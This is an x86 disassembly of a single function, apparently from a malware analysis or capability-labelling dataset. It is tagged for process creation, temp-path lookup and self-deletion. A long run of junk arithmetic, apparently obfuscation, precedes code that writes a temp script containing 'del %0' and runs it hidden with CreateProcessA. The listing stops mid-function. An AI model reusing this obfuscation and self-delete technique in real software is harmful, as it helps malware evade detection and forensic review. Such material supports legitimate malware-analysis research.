Function at 0x410d4c
Capabilities:
Create process on windows
Get common file path
Self delete

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff9c4
push ebx
xor eax, eax
mov dword [ebp - 0x638], eax
mov dword [ebp - 0x63c], eax
mov dword [ebp - 0x630], eax
mov dword [ebp - 0x634], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov ebx, dword [0x42e0ac]
xor eax, eax
push ebp
push 0x411feb
push dword fs:[eax]
mov dword fs:[eax], esp
add dword [ebx], 0xee8439a0
add dword [ebx], 0xd5fcc23b
add dword [ebx], 0x29f30443
add dword [ebx], 0xc0e75faf
sub dword [ebx], 0x446633dd
add dword [ebx], 0xc6ee0615
add dword [ebx], 0x443cd3d7
add dword [ebx], 0xfe6b428d
mov ecx, 0x6e5f092a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
sub dword [ebx], 0x648f9588
mov ecx, 0x3c439217
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
mov ecx, 0x7f02c522
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
and dword [ebx], 0x18a975a
xor dword [ebx], 0x61cf583e
add dword [ebx], 0xd3b122c7
add dword [ebx], 0x10ccaa8
add dword [ebx], 0xb50b32f2
xor dword [ebx], 0x69099b3c
xor dword [ebx], 0x705bb044
add dword [ebx], 0x273f1e70
add dword [ebx], 0xdf7f893a
add dword [ebx], 0xe4e39a56
imul eax, dword [ebx], 0x371b821
mov dword [ebx], eax
and dword [ebx], 0x718d0125
add dword [ebx], 0x3cdcf885
add dword [ebx], 0xdc6ed79b
mov ecx, 0x9433c16a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0xdf90781f
sub dword [ebx], 0x517242a8
and dword [ebx], 0x5c8ad935
add dword [ebx], 0xabae116f
add dword [ebx], 0x2c47dfbb
add dword [ebx], 0x13aae203
or dword [ebx], 0xb687c1a3
xor dword [ebx], 0xa39f495c
add dword [ebx], 0x778cc466
add dword [ebx], 0x803bd60c
add dword [ebx], 0xbe3d859c
xor dword [ebx], 0xdfb0a949
add dword [ebx], 0xfbeac880
add dword [ebx], 0x499b7dc9
add dword [ebx], 0xd790533a
add dword [ebx], 0xc4a7daf3
add dword [ebx], 0xbd2c65e5
add dword [ebx], 0x1bfea3d8
add dword [ebx], 0x58124f7c
add dword [ebx], 0xda9a21b4
xor dword [ebx], 0x38f0deac
imul eax, dword [ebx], 0x844d9561
mov dword [ebx], eax
add dword [ebx], 0x7e44a344
add dword [ebx], 0x9890be8f
mov ecx, 0x7486bd9e
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
and dword [ebx], 0x90c0dcd5
xor dword [ebx], 0x6874d964
or dword [ebx], 0x806cf61b
add dword [ebx], 0xc2b0a82b
add dword [ebx], 0xd93641f1
imul eax, dword [ebx], 0x38087fe4
mov dword [ebx], eax
mov ecx, 0x8b6dba9e
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0xa2f0b51
add dword [ebx], 0xe07084ef
add dword [ebx], 0x673a59a7
sub dword [ebx], 0x4bcddc60
and dword [ebx], 0x56e672ed
or dword [ebx], 0x3fbbf826
add dword [ebx], 0xb5644434
mov ecx, 0x6b50b06a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x878acfa1
and dword [ebx], 0x4caac095
add dword [ebx], 0xacef8179
add dword [ebx], 0x80dcfc83
sub dword [ebx], 0xac4aa078
add dword [ebx], 0x10d163dc
and dword [ebx], 0x163574f8
add dword [ebx], 0xcc21e12e
mov ecx, 0x9141d222
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0xf5c89586
add dword [ebx], 0x2136397b
add dword [ebx], 0x5983639a
add dword [ebx], 0x9bc715aa
sub dword [ebx], 0x6dc68cc8
add dword [ebx], 0x7ca5a4da
add dword [ebx], 0x1f82847a
or dword [ebx], 0xad7759eb
or dword [ebx], 0x74854ecb
sub dword [ebx], 0x82ea9ad
add dword [ebx], 0xe424a8bc
mov ecx, 0x98231106
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0xb45d303d
and dword [ebx], 0x573a0fdd
add dword [ebx], 0xa65d4817
or dword [ebx], 0x8b6c4bcb
add dword [ebx], 0xfd4e1654
add dword [ebx], 0xf99922cb
add dword [ebx], 0x2c3b56c
add dword [ebx], 0x2e315961
add dword [ebx], 0x8d039754
add dword [ebx], 0xebd5d547
add dword [ebx], 0xe20661a5
and dword [ebx], 0x449f211d
or dword [ebx], 0x3e962f00
add dword [ebx], 0xf04098b6
sub dword [ebx], 0x1bae3cab
add dword [ebx], 0xf7a43bba
add dword [ebx], 0xaba2a404
mov ecx, 0x1d08ed92
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x8aa8b59b
add dword [ebx], 0xdc1fec69
add dword [ebx], 0x29d0a1b2
add dword [ebx], 0xddcf09fc
add dword [ebx], 0x29a741ac
add dword [ebx], 0xcc84214c
add dword [ebx], 0xeb123f17
or dword [ebx], 0x8fdd22a3
and dword [ebx], 0x63ca9dad
xor dword [ebx], 0x8446bf64
and dword [ebx], 0x35f1291a
and dword [ebx], 0xef2895da
mov ecx, 0x4f6d56be
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x559c2f4
or dword [ebx], 0x822d0fbb
xor dword [ebx], 0x6f449774
add dword [ebx], 0x54539b28
add dword [ebx], 0x2a1993cb
mov ecx, 0x66a8c06a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x1c952ca0
add dword [ebx], 0x36e147eb
add dword [ebx], 0xbbbd18b7
and dword [ebx], 0x8f24d05
add dword [ebx], 0xee0150b9
add dword [ebx], 0xea4c5d30
mov ecx, 0x9e4ac57a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
or dword [ebx], 0x87204ab3
or dword [ebx], 0xd27d0168
and dword [ebx], 0x58cb5525
add dword [ebx], 0x2cb8d02f
add dword [ebx], 0xd183b3bb
imul eax, dword [ebx], 0xebcfcf06
mov dword [ebx], eax
and dword [ebx], 0xc4bf0bd
add dword [ebx], 0xf15af471
mov ecx, 0x8391cc62
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
mov ecx, 0xb5aaf7be
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x234abfc7
and dword [ebx], 0x98f30bd5
add dword [ebx], 0xf5714b34
add dword [ebx], 0xad363503
add dword [ebx], 0x725625f7
add dword [ebx], 0x56e9a8b0
add dword [ebx], 0x973f56d4
imul eax, dword [ebx], 0xe2208c8e
mov dword [ebx], eax
add dword [ebx], 0x29cae45
xor dword [ebx], 0x7f6ffb0c
imul eax, dword [ebx], 0x8eca9419
mov dword [ebx], eax
add dword [ebx], 0xcd47c4a4
mov ecx, 0x60f11f86
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
mov ecx, 0x9ef2cf16
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
or dword [ebx], 0xaa0b65a3
add dword [ebx], 0x7df8e0ad
and dword [ebx], 0x655be2f5
or dword [ebx], 0x967e0c5b
add dword [ebx], 0xb2b82b92
add dword [ebx], 0xde25cf87
add dword [ebx], 0x9396bac2
add dword [ebx], 0x4719a211
mov ecx, 0xb4b96a1a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x81ea4d4
imul eax, dword [ebx], 0x537b5b89
mov dword [ebx], eax
add dword [ebx], 0xe724b66b
add dword [ebx], 0xac44a75f
sub dword [ebx], 0xb9b13c80
add dword [ebx], 0x6b5ba636
sub dword [ebx], 0x1ede8d85
add dword [ebx], 0x19511c63
imul eax, dword [ebx], 0xaf4e75d9
mov dword [ebx], eax
add dword [ebx], 0xcb889510
add dword [ebx], 0x451402a
add dword [ebx], 0xef7ac3f7
xor dword [ebx], 0x7f5d9d54
add dword [ebx], 0xe01ddf33
or dword [ebx], 0xc780e17b
add dword [ebx], 0xf4dc895c
add dword [ebx], 0x64d04ff9
and dword [ebx], 0x6e766395
add dword [ebx], 0xf0fe35cd
add dword [ebx], 0xed494244
mov ecx, 0x7ac296ba
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
xor dword [ebx], 0x96fcb5f1
add dword [ebx], 0x736e35fb
add dword [ebx], 0x9edbd9f0
add dword [ebx], 0xf96c1563
add dword [ebx], 0x7542b7f
add dword [ebx], 0x34afd360
add dword [ebx], 0xe8ae3baa
xor dword [ebx], 0x986aa174
xor dword [ebx], 0x5f789654
mov ecx, 0x5a66a62d
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0xe1abfbe0
xor dword [ebx], 0xf0875968
mov ecx, 0xb81f7271
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
or dword [ebx], 0xbc3814eb
and dword [ebx], 0x3e446628
add dword [ebx], 0x7bca94bd
mov ecx, 0xa73838b2
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0xf5dfeff1
add dword [ebx], 0xe08df2c3
and dword [ebx], 0x4bc435e5
add dword [ebx], 0xe2b89151
add dword [ebx], 0x8519eff6
add dword [ebx], 0xf416b49d
add dword [ebx], 0xde74eed
add dword [ebx], 0xdf6b4510
xor dword [ebx], 0xd6f8ce0c
add dword [ebx], 0xae3149a0
add dword [ebx], 0x65f6336f
and dword [ebx], 0x4a0e352d
add dword [ebx], 0xad9df69b
add dword [ebx], 0x18d439bd
xor dword [ebx], 0x87d0fe64
add dword [ebx], 0xc91dae7e
imul eax, dword [ebx], 0x5a5d8479
mov dword [ebx], eax
add dword [ebx], 0xf9ef638f
add dword [ebx], 0x90683e00
sub dword [ebx], 0x2e879a25
sub dword [ebx], 0x1a2c9eed
add dword [ebx], 0xb9be7e03
add dword [ebx], 0x82a4f07c
add dword [ebx], 0xcd0aa53b
add dword [ebx], 0xe6db3f8b
add dword [ebx], 0xef8a5131
add dword [ebx], 0x6fa89e82
or dword [ebx], 0x388f10fb
sub dword [ebx], 0x76153f90
and dword [ebx], 0xaf596ba5
add dword [ebx], 0x1fc8b33d
imul eax, dword [ebx], 0xd2d01991
mov dword [ebx], eax
xor dword [ebx], 0x478163a9
add dword [ebx], 0xead9c444
mov ecx, 0xf0b9565b
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0xdd555d19
add dword [ebx], 0xd11c6490
add dword [ebx], 0xde0d78b6
add dword [ebx], 0x2ac72c09
add dword [ebx], 0xdbb72e6b
add dword [ebx], 0x5bd57bbc
add dword [ebx], 0xdc6f4a08
add dword [ebx], 0xe9dbdf29
sub dword [ebx], 0x9d5ec678
add dword [ebx], 0xe7c47b37
mov ecx, 0xad5fed26
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x2211373e
add dword [ebx], 0x199ec03a
xor dword [ebx], 0xcd21a789
imul eax, dword [ebx], 0xc25b31f1
mov dword [ebx], eax
add dword [ebx], 0x4467832e
imul eax, dword [ebx], 0x95633901
mov dword [ebx], eax
add dword [ebx], 0x5d28099
mov ecx, 0x85f0cdea
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
or dword [ebx], 0xb2d0f4d0
mov ecx, 0x96e8f68e
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x8fe9027b
xor dword [ebx], 0x9913951c
add dword [ebx], 0xc9ba3d87
add dword [ebx], 0x2fe699c
add dword [ebx], 0x943e3f97
add dword [ebx], 0x91804e04
add dword [ebx], 0x22c023ff
add dword [ebx], 0x4ae2c76a
mov ecx, 0x86f6730e
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x19a8cbfa
add dword [ebx], 0x2257dda0
add dword [ebx], 0x4d4a009a
imul eax, dword [ebx], 0x493696e
mov dword [ebx], eax
and dword [ebx], 0x937f40d5
sub dword [ebx], 0xc3aa6845
add dword [ebx], 0x3419afdd
add dword [ebx], 0x3886bf03
or dword [ebx], 0x56995bd3
add dword [ebx], 0x7c8448e
or dword [ebx], 0xaa29a333
sub dword [ebx], 0xe7afd1c8
add dword [ebx], 0x4b3f9336
or dword [ebx], 0xb6f15753
or dword [ebx], 0x6be6c193
add dword [ebx], 0xdc56092b
add dword [ebx], 0xd82594a7
add dword [ebx], 0xde80a7b9
imul eax, dword [ebx], 0xf8514209
mov dword [ebx], eax
or dword [ebx], 0xc22eb678
sub dword [ebx], 0xb76840e0
add dword [ebx], 0x9d679a4
add dword [ebx], 0x1f651174
add dword [ebx], 0xe7d002f2
add dword [ebx], 0xefba467
add dword [ebx], 0x2aba42a3
mov ecx, 0x99b7074a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
and dword [ebx], 0xc61bad35
or dword [ebx], 0xf2fbd41b
mov ecx, 0xfd1d68b2
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
and dword [ebx], 0xa075c94d
or dword [ebx], 0x48102c68
imul eax, dword [ebx], 0x635349a9
mov dword [ebx], eax
xor dword [ebx], 0x4b31ccec
add dword [ebx], 0x6232e7ad
add dword [ebx], 0x6f23fbd3
add dword [ebx], 0x66b184cf
add dword [ebx], 0x39a7fde3
add dword [ebx], 0x313586df
and dword [ebx], 0xd8cfe9fa
add dword [ebx], 0xf413073b
add dword [ebx], 0xfcc218e1
xor dword [ebx], 0x89bfec5c
xor dword [ebx], 0x833b7944
add dword [ebx], 0x3bf76509
add dword [ebx], 0x66e98803
and dword [ebx], 0xd21fcb25
mov ecx, 0xad1ec83e
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
and dword [ebx], 0xb7405cd5
add dword [ebx], 0x168e1bc3
add dword [ebx], 0xb8ef7a68
mov ecx, 0xad3202da
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x3fe45bc6
mov ecx, 0x7bf8076a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
imul eax, dword [ebx], 0x86199c01
mov dword [ebx], eax
add dword [ebx], 0x6118991a
sub dword [ebx], 0x69c7aac0
imul eax, dword [ebx], 0x80c8c581
mov dword [ebx], eax
add dword [ebx], 0x249ca717
add dword [ebx], 0xff9ba430
add dword [ebx], 0xf7292d2c
and dword [ebx], 0xffd83ed2
and dword [ebx], 0xb107278d
xor dword [ebx], 0x3756051
imul eax, dword [ebx], 0x73e4a7e9
mov dword [ebx], eax
add dword [ebx], 0x24980fa9
add dword [ebx], 0x1901ac6a
add dword [ebx], 0xf400a983
add dword [ebx], 0xd278dc67
xor dword [ebx], 0x351ba79f
add dword [ebx], 0xfc299c7f
and dword [ebx], 0xe84a2242
add dword [ebx], 0x36765886
add dword [ebx], 0x29c1df02
mov ecx, 0x32ec71a3
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
or dword [ebx], 0x70ee2133
and dword [ebx], 0xb23ad14d
mov ecx, 0xa6f8daba
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
sub dword [ebx], 0xa0d1b2d
add dword [ebx], 0x875be8ef
sub dword [ebx], 0x273f193e
add dword [ebx], 0x76ad9c70
add dword [ebx], 0x807c7e23
add dword [ebx], 0xc3f9411d
add dword [ebx], 0x884eb8bc
add dword [ebx], 0x7069d6a1
add dword [ebx], 0xf103a4ed
imul eax, dword [ebx], 0xb9ea1766
mov dword [ebx], eax
and dword [ebx], 0x48d5eecd
and dword [ebx], 0xb9453665
add dword [ebx], 0x3ad606a7
add dword [ebx], 0x4b37b16
xor dword [ebx], 0x922ccf8c
add dword [ebx], 0x472239cc
add dword [ebx], 0xfaa5211b
add dword [ebx], 0x3afacf3f
add dword [ebx], 0x303459a7
add dword [ebx], 0xfa11ce16
xor dword [ebx], 0x47470264
add dword [ebx], 0x40470e51
add dword [ebx], 0xa97bca
add dword [ebx], 0xeb577e9c
imul eax, dword [ebx], 0x6d63cfd9
mov dword [ebx], eax
add dword [ebx], 0xcd2d0fc2
add dword [ebx], 0x386352e4
and dword [ebx], 0x2ff0dbe0
add dword [ebx], 0xf607ceca
or dword [ebx], 0xbaac3ec3
add dword [ebx], 0xf8326d58
and dword [ebx], 0x9a93cbfd
mov ecx, 0xfda80c70
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x4ccb44aa
xor dword [ebx], 0x4e2bf9
xor dword [ebx], 0xe3eaacbc
and dword [ebx], 0x2f44b82
add dword [ebx], 0xe70c4d40
add dword [ebx], 0xf56fe457
add dword [ebx], 0xd987e615
add dword [ebx], 0xf79a82e5
imul eax, dword [ebx], 0x73f24eb1
mov dword [ebx], eax
and dword [ebx], 0x4b2aca45
imul eax, dword [ebx], 0x9d990309
mov dword [ebx], eax
sub dword [ebx], 0xa3789520
add dword [ebx], 0x6cda8894
mov ecx, 0xff8ce180
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x394c8e90
add dword [ebx], 0x12d908b8
xor dword [ebx], 0x8f30d484
imul eax, dword [ebx], 0x8c72e2f1
mov dword [ebx], eax
add dword [ebx], 0xfce22a89
xor dword [ebx], 0x89dffe04
add dword [ebx], 0x1d0dd7eb
add dword [ebx], 0x6a430c39
mov ecx, 0xea61598a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x3ccf924e
and dword [ebx], 0xb9a2df15
add dword [ebx], 0x3f75b1d7
add dword [ebx], 0x14aa241
add dword [ebx], 0xf8d82b3d
sub dword [ebx], 0x8a180138
add dword [ebx], 0xdd01baf7
add dword [ebx], 0x1a87e98c
mov ecx, 0xa8013e02
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
mov ecx, 0x6138aac2
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x9ebed957
sub dword [ebx], 0xb986759d
imul eax, dword [ebx], 0x90bef131
mov dword [ebx], eax
add dword [ebx], 0x12e38c9
or dword [ebx], 0x6c647beb
sub dword [ebx], 0xa9eaaa80
add dword [ebx], 0xdf5ece9
mov ecx, 0xb0574b8e
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0xfb388148
or dword [ebx], 0xd0fe79eb
add dword [ebx], 0x1a52256
and dword [ebx], 0xb52809a5
add dword [ebx], 0xee6c35ba
and dword [ebx], 0x83cd00a
add dword [ebx], 0x8a492147
mov ecx, 0x7227a48a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0xe296ec22
add dword [ebx], 0x7818c49d
add dword [ebx], 0xf83711ee
and dword [ebx], 0xabb9f93d
add dword [ebx], 0x1862bf50
add dword [ebx], 0x695e7523
mov ecx, 0x3ea8eccb
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
and dword [ebx], 0x898a2285
add dword [ebx], 0xe8d7e173
add dword [ebx], 0xe0656a6f
and dword [ebx], 0xc8bf6ead
add dword [ebx], 0x4e92416f
add dword [ebx], 0x2188ba83
add dword [ebx], 0x83a5f900
add dword [ebx], 0xe36f38e9
add dword [ebx], 0xe7dc480f
and dword [ebx], 0x8bb029a5
add dword [ebx], 0xef3feb13
xor dword [ebx], 0xb3e45b0c
sub dword [ebx], 0x4696b3f8
add dword [ebx], 0x3196d7bf
imul eax, dword [ebx], 0xabd573f
mov dword [ebx], eax
and dword [ebx], 0xcb37a3ea
or dword [ebx], 0x6ad5eda
sub dword [ebx], 0x6a328299
add dword [ebx], 0x6c353d1c
add dword [ebx], 0x23c3eaa7
add dword [ebx], 0x4e502021
add dword [ebx], 0x4510e411
and dword [ebx], 0x597f270d
add dword [ebx], 0x8d0bb23e
add dword [ebx], 0x9ccd22d7
add dword [ebx], 0xa730c662
add dword [ebx], 0xe43ea9bf
add dword [ebx], 0xe7b4c417
mov ecx, 0x29ddc4
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
and dword [ebx], 0xcc9bf0e8
xor dword [ebx], 0xf10cc965
xor dword [ebx], 0x47426092
add dword [ebx], 0x8cad2778
sub dword [ebx], 0xafef07f3
xor dword [ebx], 0xb64590bf
or dword [ebx], 0x6f5911cb
xor dword [ebx], 0x2c4a16aa
add dword [ebx], 0x100c3ce9
mov ecx, 0xf2eb3ae5
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
or dword [ebx], 0x1d1098d3
mov ecx, 0xf23bc95d
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x91b82f48
or dword [ebx], 0x36af9b75
or dword [ebx], 0x7ea98cbe
add dword [ebx], 0xcfe505ce
mov ecx, 0x4e413f0
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
mov ecx, 0xbf6a17ed
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0xb0f67bfd
add dword [ebx], 0xd2581ed6
or dword [ebx], 0x9dd25320
add dword [ebx], 0xff4012ed
or dword [ebx], 0x647d831b
mov ecx, 0x1af7db2c
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x7b00de52
add dword [ebx], 0x763355fe
mov ecx, 0x697ee9a2
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x29e0875f
add dword [ebx], 0x673faecd
xor dword [ebx], 0x3b964d1a
add dword [ebx], 0x3c9fb9f0
sub dword [ebx], 0xcf00cecb
add dword [ebx], 0x6c1240fc
add dword [ebx], 0xfb529237
add dword [ebx], 0xb5d397
or dword [ebx], 0xb51075be
add dword [ebx], 0x4037479b
add dword [ebx], 0xe741804c
and dword [ebx], 0xedc6d048
add dword [ebx], 0xe8a726ff
xor dword [ebx], 0x242dd0d4
sub dword [ebx], 0x2907d65
mov ecx, 0xb00b5da
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
mov ecx, 0x38c1c674
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
or dword [ebx], 0xd1f1bc7b
mov ecx, 0xe52b85fb
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x1275ad08
and dword [ebx], 0x8d89d763
mov ecx, 0xd906cc6a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
imul eax, dword [ebx], 0xedc89f2e
mov dword [ebx], eax
add dword [ebx], 0x56956a91
add dword [ebx], 0x34ded645
add dword [ebx], 0xe9130334
add dword [ebx], 0xf713c83e
sub dword [ebx], 0x4970802e
add dword [ebx], 0x6673b70f
add dword [ebx], 0xeca9a6d3
add dword [ebx], 0x3dcf9990
add dword [ebx], 0x810e5315
add dword [ebx], 0xec3dc03a
and dword [ebx], 0x84a1ce19
add dword [ebx], 0x9f9fcc4
add dword [ebx], 0x790c54e6
or dword [ebx], 0xd75c3be1
add dword [ebx], 0xdadeadb0
add dword [ebx], 0xa4e65f09
add dword [ebx], 0x7d680ab0
add dword [ebx], 0x88a28c2f
add dword [ebx], 0xb24a1d6b
add dword [ebx], 0x919605a8
or dword [ebx], 0x8ca76f46
sub dword [ebx], 0x60088798
add dword [ebx], 0xd22a2286
sub dword [ebx], 0x4ee8c5de
add dword [ebx], 0xa7ce8854
mov ecx, 0xd81d0989
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x86fc9846
mov ecx, 0x5e805ed2
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
and dword [ebx], 0xf30c123b
add dword [ebx], 0x34f305a7
add dword [ebx], 0x9a687909
sub dword [ebx], 0xea75c9d3
add dword [ebx], 0xc63b92df
mov ecx, 0x7943d617
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x56cb1a6e
add dword [ebx], 0xd4f311db
add dword [ebx], 0x1a0ee067
add dword [ebx], 0xc1790d7f
add dword [ebx], 0xf2a9fac
mov ecx, 0x62331bc2
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x5694668b
sub dword [ebx], 0x18587538
sub dword [ebx], 0xde3ce668
add dword [ebx], 0x528b5e73
add dword [ebx], 0xde0818f7
sub dword [ebx], 0x35435548
xor dword [ebx], 0x4882931a
add dword [ebx], 0xf87271d2
sub dword [ebx], 0xe0720323
add dword [ebx], 0x24d5b612
add dword [ebx], 0x3e778932
add dword [ebx], 0x15a0cfa9
mov ecx, 0x7a72de05
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x56e18069
mov ecx, 0x8489e215
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0xe9539151
xor dword [ebx], 0x116f5ebf
mov ecx, 0x3c727dc6
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0xc9bd0b0c
xor dword [ebx], 0xff6422ca
and dword [ebx], 0x1d09eef5
add dword [ebx], 0x5bafed97
or dword [ebx], 0x7672ff97
add dword [ebx], 0x9440afcd
xor dword [ebx], 0x6941a36d
imul eax, dword [ebx], 0xedd63be8
mov dword [ebx], eax
add dword [ebx], 0xc08f4a9e
and dword [ebx], 0x19ce112e
xor dword [ebx], 0xc0e009e8
add dword [ebx], 0x3b91f425
imul eax, dword [ebx], 0x8967d6a
mov dword [ebx], eax
sub dword [ebx], 0xf4b0fcec
add dword [ebx], 0x461b4a54
and dword [ebx], 0x3126f5d6
xor dword [ebx], 0x7efbe1c8
add dword [ebx], 0x8b1de52b
and dword [ebx], 0xb5669cde
add dword [ebx], 0x876f5000
add dword [ebx], 0x4d382774
sub dword [ebx], 0x67e8ce94
add dword [ebx], 0x70afbf6c
add dword [ebx], 0xacc80fa6
add dword [ebx], 0x8d1e3475
and dword [ebx], 0x90cea26
add dword [ebx], 0x66e39bdd
add dword [ebx], 0xb3485095
xor dword [ebx], 0xd054b652
add dword [ebx], 0x851da519
add dword [ebx], 0x81293948
sub dword [ebx], 0x3795cb0f
add dword [ebx], 0xee6a041e
imul eax, dword [ebx], 0x14358d82
mov dword [ebx], eax
and dword [ebx], 0xb11cc2c9
sub dword [ebx], 0xf0934e29
add dword [ebx], 0x7c731887
add dword [ebx], 0x3b732238
add dword [ebx], 0x53e918c9
add dword [ebx], 0xe3bb1069
add dword [ebx], 0xd23831ad
lea eax, [ebp - 8]
mov edx, 0x80
call fcn.004049e4
mov eax, dword [ebp - 8]
call fcn.0040475c
push eax
push 0x80
call sub.kernel32.dll_GetTempPathA
mov eax, dword [ebp - 8]
call fcn.0040475c
mov edx, 0x411ff8
call fcn.004067d8
mov eax, dword [ebp - 8]
call fcn.0040475c
mov edx, 0x411ffc
call fcn.004067d8
mov eax, dword [ebp - 8]
call fcn.0040475c
mov edx, 0x412004
call fcn.004067d8
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.004044a0
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d4]
call fcn.0040332c
lea eax, [ebp - 0x1d4]
call fcn.004030c8
call fcn.00402d6c
mov edx, 0x412010
lea eax, [ebp - 0x1d4]
call fcn.00404a48
call fcn.004037a8
call fcn.00402d6c
push 0x412020
lea edx, [ebp - 0x634]
xor eax, eax
call fcn.00402f98
push dword [ebp - 0x634]
push 0x412030
lea eax, [ebp - 0x630]
mov edx, 3
call fcn.00404660
mov edx, dword [ebp - 0x630]
lea eax, [ebp - 0x1d4]
call fcn.00404a48
call fcn.004037a8
call fcn.00402d6c
push 0x41203c
lea edx, [ebp - 0x63c]
xor eax, eax
call fcn.00402f98
push dword [ebp - 0x63c]
push 0x412030
push 0x412050
push 0x412060
lea eax, [ebp - 0x638]
mov edx, 5
call fcn.00404660
mov edx, dword [ebp - 0x638]
lea eax, [ebp - 0x1d4]
call fcn.00404a48
call fcn.004037a8
call fcn.00402d6c
mov byte [ebp - 0x629], 0x64
mov byte [ebp - 0x628], 0x65
mov byte [ebp - 0x627], 0x6c
mov byte [ebp - 0x626], 0x20
mov byte [ebp - 0x625], 0x25
mov byte [ebp - 0x624], 0x30
mov byte [ebp - 0x623], 0
lea edx, [ebp - 0x629]
lea eax, [ebp - 0x1d4]
call fcn.00403770
call fcn.004037a8
call fcn.00402d6c
lea eax, [ebp - 0x1d4]
call fcn.004033e8
call fcn.00402d6c
lea eax, [ebp - 0x228]
xor ecx, ecx
mov edx, 0x44
call fcn.004034ec
mov dword [ebp - 0x1fc], 1
mov word [ebp - 0x1f8], 0
lea eax, [ebp - 0x1e4]
push eax
lea eax, [ebp - 0x228]
push eax
push 0
push 0
push 0x40
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040475c
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x411fc0
mov eax, dword [ebp - 0x1e0]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x1e4]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x411ff2
lea eax, [ebp - 0x63c]
mov edx, 4
